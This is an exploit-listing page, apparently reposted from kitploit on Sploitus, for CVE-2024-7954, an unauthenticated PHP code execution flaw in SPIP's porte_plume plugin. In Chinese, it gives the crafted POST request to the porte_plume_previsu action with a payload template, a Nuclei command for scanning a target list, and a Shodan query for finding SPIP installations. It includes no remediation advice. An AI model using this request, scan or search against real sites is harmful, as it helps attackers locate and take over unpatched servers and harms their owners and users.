Sploitus

Exploit for RCE_CVE-2024-7954-

kitploit · 2026-08-31

Exploit Code

MARKDOWN20 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0DAYAN0N-RCE_CVE-2024-7954-
# RCE_CVE-2024-7954-

SPIP 4.30-alpha2、4.2.13 和 4.1.16 之前版本使用的 porte_plume 插件存在任意代码执行漏洞。远程未认证的攻击者可以通过发送特制的 HTTP 请求，以 SPIP 用户的身份执行任意 PHP 代码。（严重）

利用方式：

POST /index.php?action=porte_plume_previsu HTTP/1.1

Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded

data=AA_[->URL]_BB

使用工具：

Nuclei -l(target file) -t(Templates) CVE-2024-7954.yml

Shodan 搜索语法：

app="SPIP"